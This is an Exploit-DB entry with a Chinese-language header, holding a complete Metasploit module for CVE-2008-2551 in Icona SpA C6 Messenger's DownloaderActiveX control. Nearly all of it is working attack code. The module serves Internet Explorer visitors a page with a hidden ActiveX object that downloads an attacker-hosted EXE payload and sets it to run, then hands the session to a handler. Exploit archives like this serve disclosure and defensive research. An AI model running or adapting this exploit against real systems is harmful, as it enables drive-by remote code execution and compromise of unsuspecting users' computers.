标题: Icona SpA C6 Messenger - DownloaderActiveX Control Arbitrary File Download and Execute (Metasploit) EDB-ID: 18449 CVE: 2008-2551 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-02 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
   'Description'    => %q{
     This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
    vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
    insecure control can be abused to download and execute arbitrary files in the context of
    the currently logged-on user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit
     'juan vazquez' # metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2008-2551' ],
     [ 'OSVDB', '45960' ],
     [ 'BID', '29519' ],
     [ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ],
    ],
   'DefaultOptions' =>
    {
     'ExitFunction'         => "none",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Jun 03 2008',
   'DefaultTarget'  => 0,
   'Privileged'     => false))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  # Only IEs are potential targets
  # "File Session" is used when the ActiveX tries to request the EXE
  agent = request.headers['User-Agent']
  if agent !~ /MSIE \d\.\d|File Session/
   print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")
   return
  end

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}"

  if (request.uri.match(/#{@payload_rand}/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  exe = rand_text_alpha(rand(5) + 1 )

  content = %Q|
  <html>
   <object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">
    <param name="propProgressBackground"  value="#bccee8">
    <param name="propTextBackground"  value="#f7f8fc">
    <param name="propBarColor"  value="#df0203">
    <param name="propTextColor"  value="#000000">
    <param name="propWidth"  value="0">
    <param name="propHeight"  value="0">
    <param name="propDownloadUrl"  value="#{payload_url}/#{exe}.exe">
    <param name="propPostDownloadAction"  value="run">
    <param name="propInstallCompleteUrl"  value="">
    <param name="propBrowserRedirectUrl"  value="">
    <param name="propVerbose"  value="0">
    <param name="propInterrupt"  value="0">
   </OBJECT>
  </html>
  |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

 def exploit
  @payload_rand = rand_text_alpha(rand(5) + 5 )
  super
 end

end URL: https://www.exploit-db.com/exploits/18449